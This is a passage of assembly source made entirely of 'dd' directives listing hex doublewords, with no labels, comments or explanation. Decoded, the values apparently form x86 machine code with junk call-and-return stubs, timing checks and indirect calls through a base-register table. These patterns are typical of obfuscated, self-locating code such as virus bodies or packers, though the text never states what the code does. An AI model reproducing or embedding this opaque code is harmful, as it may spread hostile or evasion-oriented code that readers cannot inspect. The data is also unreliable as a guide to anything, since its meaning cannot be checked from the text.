		dd 5E8h, 115ABA00h, 8166892Ah, 5B5A92F7h, 9D6107EBh, 0E9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0A9D9480h, 196CFCF9h, 0C6819AE7h, 0ACA840Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 9DC35343h
		dd 7251EB30h, 0E0D3B71Dh, 75E9C18Bh, 60000000h,	0A8D88C66h
		dd 35840F04h, 6A000000h, 45B5FF01h, 8D05EA1Dh, 0EDAFA085h
		dd 89D0FF05h, 0EA2B7185h, 0C1FE8B05h, 680CEFh, 6A200400h
		dd 57026A00h, 1000D68h,	7195FF00h, 0E905EA2Bh, 32h, 1A4585C6h
		dd 685605EAh, 0A9C530DFh, 238DB5FFh, 858D05EAh,	5EDAFA0h
		dd 8589D0FFh, 5EA00B5h,	0BA9858Dh, 6A5005EAh, 56056A20h
		dd 0B595FFh, 0C36105EAh, 0EB06E0C1h, 0E09104Bh,	1AC53C2Fh
		dd 0A4ACDA4Bh, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh
		dd 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h, 465AD5h
		dd 0D5A3EA1Ah, 0
		dd 0FEC9199Ch, 0FE470000h, 0FBh, 27E64128h, 0C3727DD4h
		dd 0EA4E9h, 0DF816600h,	57B74228h, 2D1BD83h, 0F0005EAh
		dd 3885h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 20E95C42h, 99C0C341h, 0B8CA8Bh, 3000000h
		dd 0EA2B0D95h, 4C205h, 0DAEF8166h, 6AC08B40h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 15C4C351h, 58C2F396h, 13D9BD83h, 750005EAh, 0E5BD8309h
		dd 5EA2Eh, 53501374h, 0D0B8C08Bh, 8D000004h, 0ECDBC99Dh
		dd 5BD3FF05h, 0E5BD8358h, 5EA2Eh, 53501174h, 4D0B8h, 169D8D00h
		dd 0FF05ECDBh, 9585BD3h, 0EA29299Dh, 0F6DB8105h, 2959AFE4h
		dd 0EA008195h, 6AC08B05h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 5F2EC352h, 61D8CA2Ch
		dd 9E772A7Fh, 0EE9h, 0B395F800h, 2A5FFC12h, 429AED57h
		dd 6608756Bh, 8D8F5CB9h, 0EE498385h, 50006A05h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 4C7EAA07h
		dd 8BF20ECFh, 0EA2A3DBDh, 91F78105h, 502D9CF8h,	8B666052h
		dd 615953FAh, 2404895Fh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0B0C35141h, 14447824h, 0FA8BCC97h, 4940858Dh
		dd 6A05EEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0FE41F5C3h, 86D014EFh, 0B6EE2E6Eh, 0DD8D8B80h
		dd 9005EA24h, 5BBA6660h, 0F5061D5h, 48Fh, 0E0BA6600h, 6A9092h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 40FA8EC3h, 0C52FFBA4h, 0BE9E3h, 8B710000h, 0E494D96Eh
		dd 0B26B7176h, 8D316026h, 5EA1555h, 0BDCAF381h,	0FF614007h
		dd 0EA0CDD95h, 0B58D8B05h, 8B05EA1Bh, 81042444h, 121F28D1h
		dd 6B858967h, 8B05EE49h, 0EA06719Dh, 24448B05h,	55006A08h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 118D8B1Bh, 8905EA07h, 0EE497F85h, 56006A05h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 306F312Ah
		dd 566BF5ADh, 7F99D8Bh,	950305EAh, 5EA2F3Dh, 32F1958Bh
		dd 0BD8305EAh, 5EA0C81h, 6A850F00h, 6A000001h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 4C52C357h, 35616EE3h, 3FDF8166h, 0F606070h, 0F08AD0B7h
		dd 81853161h, 6105EA20h, 1A4585C6h, 6A4705EAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0DB44C350h, 0B983AF72h, 8531D6C2h, 5EA3061h,	32E5BD89h
		dd 4E805EAh, 0D2000000h, 66D49AA7h, 0E950CA8Bh,	0Fh, 22E6A3EBh
		dd 74FD94Bh, 9B7AB819h,	8B303930h, 0E9042444h, 14h, 8B24D143h
		dd 0B95F21F3h, 0C63281A6h, 318942C0h, 4675E10Ch, 4489008Bh
		dd 0CE8B0424h, 0B9958B58h, 8905EA1Bh, 0EA1699B5h, 8DB5FF05h
		dd 6A05EA23h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0BFDFC357h, 71E5B38Dh,	0AFA0858Dh
		dd 6A05EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0F02CDC3h, 0D0FFD1BFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 97C35242h, 1261552Eh, 9E8h
		dd 7F55100h, 0E656D71Fh, 9D8BD97Fh, 5EA2515h, 81858959h
		dd 6A05EA0Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0AB40C353h, 1F5B8E18h,	0D9BD83F5h
		dd 5EA09h, 0CC850Fh, 8A600000h,	1DBD09D9h, 6105EA33h, 1A4585C6h
		dd 6A4705EAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0E589C351h, 9E9E9h, 3FE70000h
		dd 878F4A7Bh, 6893CF87h, 4339FD95h, 481D78Bh, 0D5B84D24h
		dd 53006A46h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 70463397h, 0A7BE8EC5h, 880F1DC0h, 3, 0FFD98B66h
		dd 0EA238DB5h, 48A0F05h, 66000000h, 8DB0C7B9h, 0EDAFA085h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0FF7EB509h, 199D8BD0h, 6605EA09h, 926FCB81h
		dd 9D98589h, 958B05EAh,	5EA1C05h, 1659509h, 0BD8305EAh
		dd 5EA09B1h, 0B8850F00h, 0F000000h, 85C6F9BFh, 5EA1A45h
		dd 11E956h, 0EC1A0000h,	0F2FA90E9h, 0A6E544A7h,	0F75CF0E5h
		dd 68A71181h, 0B2F0FB3Ch, 0FD240481h, 6A212E71h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0C7A7C350h, 55890EB4h, 0A4EC67A2h, 5BFFBA66h, 8DB5FFFCh
		dd 6A05EA23h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0E438C355h, 0BA66498Ah, 858D1B2Fh
		dd 5EDAFA0h, 0C018D8Bh,	0D0FF05EAh, 10E9h, 3B363600h, 0B80495ABh
		dd 51F090BFh, 0FD232689h, 0E99D2915h, 8905EA0Eh, 0EA09B185h
		dd 0F1816605h, 7DBAA904h, 0C65F936Dh, 0EA1A4585h, 6A6C05h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 9A2CCFC3h, 0B999442Bh, 8B66E988h, 459D03FAh,	6805EA11h
		dd 92387BDDh, 481D88Bh,	0CCF4A624h, 1D8D3148h, 8A05EA0Ch
		dd 45B5FFEFh, 905EA1Dh,	0EA0EE1B5h, 69858D05h, 8B05EA39h
		dd 0EA05DD9Dh, 89D0FF05h, 0EA0121B5h, 6F858905h, 8905EE49h
		dd 0EA23659Dh, 81853105h, 6A05EA29h, 50006A04h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0EEF36281h
		dd 63E2A867h, 0D3B70F76h, 6573FA68h, 800F6031h,	2, 0D08B95B7h
		dd 24348161h, 316563FAh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 0A3C35646h, 8D8B40B3h, 5EA0F15h, 0AA90BF66h
		dd 4E8h, 1000000h, 9C35B900h, 0E8505C34h, 7, 75C4BDFBh
		dd 0E8FCA92Bh, 0Eh, 47026FF3h, 8C2D1BBBh, 0C960904Fh, 5250F69Fh
		dd 585A310Fh, 448B5B5Bh, 0BF660424h, 8BBA14h, 44892FB5h
		dd 0CE80424h, 5E000000h, 0FEA4954Bh, 0DA024854h, 0FBD85B8h
		dd 28Ah, 5AFB8B00h, 0D99D2358h,	6A05EA12h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 1F93DC7Ah, 958BA983h, 5EA32B5h, 23FD95FFh, 6A05EAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 860F80C3h, 3, 89F8B70Fh, 0EE497B85h,	50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 92BFAA5Eh, 2291E05Fh, 0FEB70F7Ch, 0BE95053h,	0D1000000h
		dd 1FABD5B1h, 4F70706Bh, 5F5AE734h, 10E9006Ah, 3B000000h
		dd 2C28537Eh, 0FB3DFA5Dh, 8D140AE6h, 0E825F004h, 4, 10000h
		dd 0E850E6B3h, 6, 6C661343h, 8B6680CBh,	448B5FFAh, 8B660424h
		dd 0F008BFAh, 1A89h, 12E85700h,	0DB000000h, 873A0D05h
		dd 0C0D31788h, 1A36C789h, 3465DDCEh, 89595A45h,	58042444h
		dd 9E8h, 0FB8F8E00h, 46BAE428h,	905AA869h, 0E850Fh, 52500000h
		dd 310F5250h, 310F585Ah, 585A6160h
		dd 0ACBA6650h, 605290D8h, 61D78B66h, 890B6A59h,	0EA00798Dh
		dd 882EBB05h, 858D3E11h, 5EE4948h, 1CDDBD8Bh, 505005EAh
		dd 0F08B6052h, 0F61DEB0h, 0DF8B6631h, 489585Ah,	8195FF24h
		dd 6005EA0Ch, 0EE9h, 68286F00h,	0EE888882h, 74C66E2Eh
		dd 0FF79287h, 183h, 8D61FC00h, 0EE4952B5h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 84D6D46Ah, 6D13C0FDh, 9531CA8Bh, 5EA1CDDh, 89CB8B50h
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0EA0FAEC3h, 429E17ADh, 62B37B47h,	7E850h
		dd 84BA0000h, 0BFA2BDE1h, 8A5250DAh, 0E9310FF8h, 0Dh, 2E11D6DBh
		dd 0B6E6AFAFh, 0EDCC923Ah, 5F585A71h, 81240489h, 0BA23E4D2h
		dd 0D995FF1Ch, 6A05EA09h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 58C3C356h, 6AD0FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 9A04BFC3h, 10E8h, 16C27900h,	22D0307Ch, 12CAAE05h, 300CAA4Dh
		dd 59FC8A40h, 497BB58Bh, 8D8905EEh, 5EA205Dh, 497385C7h
		dd 5EEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 170424h, 53430000h, 0FDE05BC3h, 0FFA8B84h, 28Ah, 80EF8A00h
		dd 0F00207Eh, 33184h, 9D958B00h, 6005EA14h, 68F0Fh, 0B5090000h
		dd 5EA0065h, 6A20468Dh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 9451C357h, 2A35958Bh
		dd 890F05EAh, 6, 2C9D9589h, 858905EAh, 5EE4977h, 67D9D09h
		dd 4BE905EAh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 8DAFC356h, 0F0E81D7Dh
		dd 6A4019h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 952760C3h, 0C05AE358h, 0B966B096h, 3880828Fh
		dd 0CE850F00h, 8BFFFFFFh, 0EA0EE18Dh, 4E905h, 80480000h
		dd 388073F6h, 91840F5Ch, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0CBEFC353h
		dd 6E9F7C5h, 52000000h,	0A886A21Ah, 2F38809Bh, 5E840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0DA30A6C3h, 4977853Bh, 830F05EEh,	0FFFFFF96h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FBC35242h
		dd 60E60084h, 8E9h, 5A68500h, 0D6691C6Ah, 21BD2987h, 6105EA2Ch
		dd 87BF6640h, 7FBD83EFh, 5EE49h, 86840Fh, 67BF0000h, 90700F99h
		dd 0FE953h, 0C4400000h,	82A327CEh, 0A6574D41h, 2190F607h
		dd 0E850595Eh, 13h, 0D703CC48h,	0DDEB4C5Ah, 4A875C60h
		dd 0AA7B5F13h, 0B3A3C3AAh, 81905FB2h, 48B9D3D7h, 7F850344h
		dd 0B205EE49h, 0C6A3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0A7C35545h, 58AFABC5h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 0CEC35747h, 0C7BF6650h
		dd 2404892Bh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	7DC35242h, 0B6D26F43h, 6BB5FF4Eh, 0F05EE49h, 980h
		dd 38A0F00h, 0F000000h,	8B0FD1BFh, 5, 9AF28166h, 6F95FF80h
		dd 6A05EE49h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0EFB0C356h, 3FFC7236h,	8B609066h
		dd 0EA2C0DBDh, 0C1858B05h, 6105EA23h, 850FC00Bh, 7Bh, 5DB1BA66h
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 7BED3Eh,	497385C7h, 105EEh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0C1A277C3h, 8AB1B966h, 0E5E38057h, 79958959h, 0E905EA00h
		dd 5Eh,	8F0Fh, 10E90000h, 12000000h, 681BD834h,	0FC6B2B7Fh
		dd 649F4766h, 61759DE1h, 6E9h, 99964B00h, 818DBFCBh, 11CC6h
		dd 0D4E28000h, 0FFFCEEE9h, 57006AFFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0DAB56AB4h
		dd 74B97DD1h, 5C07C381h, 4E86494h, 0
		dd 8B000080h, 29B550DAh, 424448Bh, 21B95250h, 0F059886h
		dd 5AF88B31h, 89008B58h, 60042444h, 7E9h, 1C3EA200h, 520168FDh
		dd 8E95250h, 4E000000h,	3BB21E25h, 0F981457h, 61585A31h
		dd 0A9958958h, 6A05EA31h, 0E99D8B00h, 0FF05EA2Ah, 0EE497BB5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0E1800C9Ah, 81667D21h, 0FFF1B5E3h, 0EA09B195h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0F521E45h, 858BDAB7h, 5EE4973h, 458D8B51h
		dd 5905EA30h, 0D98B6690h, 10E850h, 58080000h, 8E8909DCh
		dd 0FAE468BAh, 50BA26DEh, 0DF8B2E9Dh, 8D23905Ah, 5EA14A1h
		dd 4983858Dh, 0C9BF05EEh, 5054976Dh, 13E8h, 11FEAB00h
		dd 0E2DDD86h, 3642A760h, 3B6787AFh, 53DF1DCAh, 12E8h, 5030FC00h
		dd 0C39D4F3h, 66832669h, 0C498DFDCh, 0F7C1F66h,	84h, 895F5B00h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 17C4A7C3h, 6060E12Fh, 0AB1B58Bh, 858B05EAh
		dd 5EA2A39h, 0E9D0B961h, 8D617848h, 0EE494085h,	8EC58005h
		dd 98BA6650h, 240489F2h, 0F18D2960h, 0B705EA31h, 95FF610Bh
		dd 5EA075Dh, 2D4D9533h,	0C08B05EAh, 14199589h, 0BD8305EAh
		dd 5EA13D9h, 83097500h,	0EA2EE5BDh, 13740005h, 0C08B5350h
		dd 4D0B8h, 309D8D00h, 0FF05ECDCh, 83585BD3h, 0EA2EE5BDh
		dd 11740005h, 0D0B85350h, 8D000004h, 0ECDB2F9Dh, 5BD3FF05h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0C8DF81FAh, 8B2A2D2Ch, 1BE980C0h, 7E958h
		dd 0C0870000h, 0B0CDF93Dh, 8C2EDh, 0D7D78166h, 0FC08BBDh
		dd 1588h, 0BE800h, 0CE100000h, 5302C33Bh, 11E924Ch, 0DAB96628h
		dd 858D5B63h, 5EE4997h,	3758D89h, 858905EAh, 5EA237Dh
		dd 0DE816660h, 0C08B5CA0h, 0CE960h, 0B5A10000h,	0C389F46Fh
		dd 14FAFAC8h, 8B60B7BDh, 0EA0F5D85h, 0B9958B05h, 6105EA02h
		dd 0D9BD8361h, 5EA13h, 0BD830975h, 5EA2EE5h, 50197400h
		dd 0B8C08B53h, 438h, 0D798589h,	9D8D05EAh, 5ECDDF5h, 585BD3FFh
		dd 2EE5BD83h, 740005EAh, 0B8535017h, 438h, 0D798589h, 9D8D05EAh
		dd 5ECDAE4h, 585BD3FFh,	0AD9D8950h, 5905EA24h, 12E8C08Bh
		dd 0AF000000h, 0FDE9A3E4h, 33A4B813h, 0BD73A3Dh, 93237C17h
		dd 0E85FF994h, 8D2h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0B4C35242h, 82A720DFh, 0BF66871Dh, 858962CCh
		dd 5EA2CBDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	75C35646h, 1F64CDE5h, 0AFF1BF66h, 87DE8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 71C8C08Ch, 2882C85h,	7185899Ah, 6A05EA00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0DD68C353h, 0BAEF8166h, 82CE8B3h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 628704C3h
		dd 0B0B2CF81h, 858920D7h, 5EA0C29h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0CCC35747h,	1CA60A48h, 43F0B2C5h
		dd 3DF18170h, 0E862E30Dh, 7D2h,	6E99529h, 858905EAh, 5EA1189h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D4C35141h
		dd 62F3367Eh, 8F0FFE8Bh, 6, 0AC9B58Bh, 8D0905EAh, 5EA12CDh
		dd 78DE8h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0B218E7Eh, 0EA2081B5h, 89CB8B05h
		dd 0EA258185h, 0BE805h,	0F1BD0000h, 121BAA52h, 0D5CE02F4h
		dd 0C4EF81D2h, 5910435Fh, 745E8h, 0B9B58B00h, 8905EA07h
		dd 0EA1BC985h, 5CD98105h, 0E832B56Bh, 72Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 89C35242h, 8B53EF39h
		dd 0EA2EDDB5h, 85895F05h, 5EA1551h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 87C35040h, 0D650C75h, 0B91E629Ah
		dd 67EC5C4Bh, 122DBD8Bh, 0CFE805EAh, 0F000006h,	0B589CAB7h
		dd 5EA1D5Dh, 0BFD8589h,	6A05EAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 6FCF33C3h, 69DE8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 6D97EB5Eh, 0FEF0D7E9h, 0BF58589h, 69B105EAh,	66DE8h
		dd 0F08B6600h, 2EAD8589h, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0AF49AC3h, 0FAD7A3AAh
		dd 81CE4CCFh, 0DD4117D6h, 634E807h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 1DC80CC3h
		dd 6602745h, 9589B448h,	5EA1109h, 0E958589h, 6A05EAh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 67B5A9C3h, 0EE6E4679h, 85897434h, 5EA1325h, 5D5E8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 570D500Ah, 1ACF3866h, 89FB8BFDh,	0EA0C7185h
		dd 49B58B05h, 0E805EA31h, 59Eh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 80C35646h, 7F9D937Ah, 0B1BDC236h
		dd 3D85896Ch, 6A05EA00h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 6783C356h, 0BE66B227h
		dd 4BE84D8Ch, 60000005h, 25D18D2Bh, 0CE8105EAh,	51D39D0h
		dd 19858961h, 3305EA1Ch, 0EA0EF18Dh, 52CE805h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0AE9993C3h, 3800Fh, 0B70F0000h, 958589CFh, 6A05EA0Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 2C7BC350h, 69039EA6h, 0CAE63B43h,	3DB58B60h
		dd 8005EA1Ch, 0E861E9E4h, 4CAh,	0A5B52960h, 8B05EA10h
		dd 858961C1h, 5EA3151h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0EBC35141h, 0A84574CCh, 0EA601B50h, 29F88BB8h
		dd 0EA1CE5BDh, 0E900B005h, 8, 1B52885Ch, 12889C7Ah, 6AD8B60Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0C7A1C352h, 76FCDB5Eh, 8D014CD9h,	5EA15CDh
		dd 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 495DF507h, 0CDDBD521h, 6AC38Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 382E90C3h, 0F1C1FFC7h, 8BBBFC0Eh, 0EA2D518Dh, 49958905h
		dd 0C105EA0Bh, 0EE904E8h, 4E000000h, 0C68E1DB3h, 9D1B4B94h
		dd 0CE9EEB77h, 0E2F76619h, 0BFF5BF66h, 6AD82Bh,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 6A34BC3h, 0D11D7CD9h, 0E0BE297Eh, 50114B5Fh,	4D3666BFh
		dd 241C8972h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 1Ah, 7DC35141h, 4CF82A46h,	0BD8B4E01h, 5EA3155h
		dd 2AC595FFh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 5F45C5C3h, 0F0DF9FDh, 483h, 0A3BE6600h
		dd 6A5B94h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 958D8BC3h, 5EA0669h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 68C35040h, 0EDA83839h, 0D98D8B35h
		dd 6605EA0Ch, 1A89F88Bh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 56C35747h, 32DC4BF7h,	0B3D0C713h, 68E0Fh
		dd 0BD8B0000h, 5EA2A15h, 6A044289h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B34AC351h
		dd 9589E7D9h, 5EA2AF1h,	105958Dh, 0BF6605EAh, 1A893161h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FBC35141h
		dd 5DC9FE13h, 0ADBCE135h, 89F9BF0Fh, 0BD010442h, 5EA2C59h
		dd 121D958Dh, 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 6BE7E0C3h, 87C4E18h, 75BE66A3h
		dd 5DB5899Ch, 8905EA25h, 51006A1Ah, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 726ABB18h, 0A6C51888h
		dd 5BD89C5h, 6605EA23h,	8920A2BFh, 6A0442h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0BC3F92C3h
		dd 0B54A913h, 0EA2C29B5h, 89958D05h, 8105EA15h,	6A04DBD6h
		dd 6A1A896Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 4BA5C356h, 0A8614B2Ah,	6A044289h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 3F9BC351h, 3FB9F50Fh, 0F876E0D0h,	309D958Dh
		dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0B44A7EC3h, 0DC969443h, 1A89CDAFh, 6A044289h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 62FAC356h, 297313BEh, 0EA28FDB5h,	15958D05h
		dd 6005EA2Fh, 56BE66FCh, 1A896161h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 33C35242h, 0E5847EB2h, 0FCF8BE6h
		dd 8Ah,	4428900h, 1C71958Dh, 6A05EAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 188872C3h
		dd 0A4C5A6C5h, 1A8961B5h, 1E89B589h, 428905EAh,	14870F04h
		dd 0E8000000h, 8, 2D06AFCFh, 0DF13CA89h, 32DBD89h, 8D5F05EAh
		dd 0EA0F2195h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0C9A41EBFh, 5D0D268Bh
		dd 11BD8BD1h, 0E805EA1Ch, 0Ah, 2D45E339h, 78AFE186h, 850F93A9h
		dd 1, 1A8959F5h, 0AE9h,	0EC9E1900h, 84EC472Dh, 89BF49A3h
		dd 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0C825A8C3h, 0B70FCABCh, 10DE9FAh,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 66663DC3h, 0D1816619h, 6A63F1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0A0C35545h,	0B501CA68h, 5EA2565h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 5101D9C3h, 0EF4B28C8h, 0E31AB91Bh, 8B607F33h
		dd 0EA13998Dh, 1BBE6605h, 6A6180h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 2C35646h, 6A006Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 5369F3C3h, 0F92FBF9Dh, 78E9816Fh, 0FF532F2Eh, 0EA2E1995h
		dd 6E805h, 7A570000h, 27E02590h, 6AC35Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 29C14C3h
		dd 7FDA63E6h, 60D31AADh, 4656BF66h, 3111958Bh, 8A6105EAh
		dd 56006AC5h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 4F5CA8F1h, 0A2D59E60h, 9D091DE7h, 5EA06FDh
		dd 820FC08Bh, 6, 32258D8Bh, 0BD8305EAh,	5EA13D9h, 83097500h
		dd 0EA2EE5BDh, 19740005h, 0C08B5350h, 438B8h, 69858900h
		dd 8D05EA07h, 0ECDE5C9Dh, 5BD3FF05h, 0E5BD8358h, 5EA2Eh
		dd 53501774h, 438B8h, 69858900h, 8D05EA07h, 0ECDAFD9Dh
		dd 5BD3FF05h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 3943875Bh, 75F29051h, 5D8D8B89h
		dd 0F905EA0Bh, 0F5E1EAB9h, 8DC08B22h, 0EA298D85h, 0CE905h
		dd 85EA0000h, 0B0505797h, 89357576h, 0E8504422h, 8, 0C74A4302h
		dd 0ECEACC61h, 895FDA8Bh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 6A46C3h, 0B919D8Bh, 6A05EAh
		dd 13E956h, 68290000h, 96EF108Dh, 0EB2FC195h, 5246F5B6h
		dd 2C1D19h, 858D5FFEh, 5EE6554h, 0E857006Ah, 3,	5FC35F20h
